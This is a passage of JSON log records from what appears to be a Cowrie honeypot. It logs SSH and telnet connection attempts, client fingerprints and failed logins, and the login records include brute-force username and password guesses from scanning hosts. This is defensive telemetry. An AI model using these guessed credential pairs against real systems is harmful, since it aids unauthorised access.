xt-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:05:29.621766Z","src_ip":"43.157.90.107","session":"77d2c5ad88a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"p4ssw0rd","message":"login attempt [admin/p4ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:05:30.040384Z","src_ip":"43.157.90.107","session":"77d2c5ad88a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:05:31.135667Z","src_ip":"43.157.90.107","session":"77d2c5ad88a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.96.151.198","src_port":32870,"dst_ip":"159.203.135.109","dst_port":22,"session":"81ddc93be0d8","protocol":"ssh","message":"New connection: 186.96.151.198:32870 (159.203.135.109:22) [session: 81ddc93be0d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:05:58.663557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:05:58.667982Z","src_ip":"186.96.151.198","session":"81ddc93be0d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:05:58.731447Z","src_ip":"186.96.151.198","session":"81ddc93be0d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"2525","message":"login attempt [admin/2525] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:05:59.011365Z","src_ip":"186.96.151.198","session":"81ddc93be0d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:06:00.076966Z","src_ip":"186.96.151.198","session":"81ddc93be0d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.177.199","src_port":43328,"dst_ip":"10.17.0.5","dst_port":22,"session":"b891080db12c","protocol":"ssh","message":"New connection: 43.165.177.199:43328 (10.17.0.5:22) [session: b891080db12c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:06:02.064076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:06:02.072833Z","src_ip":"43.165.177.199","session":"b891080db12c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:06:02.257054Z","src_ip":"43.165.177.199","session":"b891080db12c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server2014!","message":"login attempt [root/server2014!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:06:03.025768Z","src_ip":"43.165.177.199","session":"b891080db12c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:06:04.211622Z","src_ip":"43.165.177.199","session":"b891080db12c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.67.236.135","src_port":51030,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa4b5c9731f0","protocol":"ssh","message":"New connection: 13.67.236.135:51030 (159.203.135.109:22) [session: fa4b5c9731f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:06:13.744247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:06:13.749275Z","src_ip":"13.67.236.135","session":"fa4b5c9731f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:06:13.787980Z","src_ip":"13.67.236.135","session":"fa4b5c9731f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xr123456","message":"login attempt [root/xr123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:06:13.969584Z","src_ip":"13.67.236.135","session":"fa4b5c9731f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:06:15.010380Z","src_ip":"13.67.236.135","session":"fa4b5c9731f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.157.90.107","src_port":53254,"dst_ip":"10.17.0.5","dst_port":22,"session":"975f7497c35b","protocol":"ssh","message":"New connection: 43.157.90.107:53254 (10.17.0.5:22) [session: 975f7497c35b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:06:20.402760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:06:20.410556Z","src_ip":"43.157.90.107","session":"975f7497c35b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:06:20.509579Z","src_ip":"43.157.90.107","session":"975f7497c35b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1qa2ws3ed","message":"login attempt [admin/1qa2ws3ed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:06:20.923552Z","src_ip":"43.157.90.107","session":"975f7497c35b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:06:22.020421Z","src_ip":"43.157.90.107","session":"975f7497c35b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.55.224.44","src_port":30583,"dst_ip":"10.17.0.5","dst_port":22,"session":"33842c3ca7a1","protocol":"ssh","message":"New connection: 79.55.224.44:30583 (10.17.0.5:22) [session: 33842c3ca7a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:06:37.054257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:06:37.058627Z","src_ip":"79.55.224.44","session":"33842c3ca7a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:06:37.171911Z","src_ip":"79.55.224.44","session":"33842c3ca7a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"administrator","message":"login attempt [ubuntu/administrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:06:37.659091Z","src_ip":"79.55.224.44","session":"33842c3ca7a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:06:38.780908Z","src_ip":"79.55.224.44","session":"33842c3ca7a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01305627822876,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:06:50.762603Z","src_ip":"67.86.177.43","session":"1f068948b634","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"67.86.177.43","src_port":59889,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a39a11c1b57","protocol":"telnet","message":"New connection: 67.86.177.43:59889 (159.203.135.109:23) [session: 0a39a11c1b57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:06:51.175864Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.96.151.198","src_port":57092,"dst_ip":"159.203.135.109","dst_port":22,"session":"623cd500eed8","protocol":"ssh","message":"New connection: 186.96.151.198:57092 (159.203.135.109:22) [session: 623cd500eed8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:06:52.368357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:06:52.371829Z","src_ip":"186.96.151.198","session":"623cd500eed8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:06:52.432852Z","src_ip":"186.96.151.198","session":"623cd500eed8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00064277648926,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:06:52.629974Z","src_ip":"67.86.177.43","session":"719b446ca020","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin411","message":"login attempt [root/admin411] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:06:52.712723Z","src_ip":"186.96.151.198","session":"623cd500eed8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.86.177.43","src_port":59956,"dst_ip":"159.203.135.109","dst_port":23,"session":"8adeae8f4903","protocol":"telnet","message":"New connection: 67.86.177.43:59956 (159.203.135.109:23) [session: 8adeae8f4903]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:06:53.100139Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:06:53.776508Z","src_ip":"186.96.151.198","session":"623cd500eed8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.157.90.107","src_port":42944,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a5d0edd6354","protocol":"ssh","message":"New connection: 43.157.90.107:42944 (10.17.0.5:22) [session: 9a5d0edd6354]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:07:10.546788Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:07:10.551459Z","src_ip":"43.157.90.107","session":"9a5d0edd6354","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:07:10.639755Z","src_ip":"43.157.90.107","session":"9a5d0edd6354","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openvpn","password":"1234567890","message":"login attempt [openvpn/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:07:11.024107Z","src_ip":"43.157.90.107","session":"9a5d0edd6354","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.67.236.135","src_port":42114,"dst_ip":"159.203.135.109","dst_port":22,"session":"43959e834789","protocol":"ssh","message":"New connection: 13.67.236.135:42114 (159.203.135.109:22) [session: 43959e834789]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:07:11.301117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:07:11.305268Z","src_ip":"13.67.236.135","session":"43959e834789","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 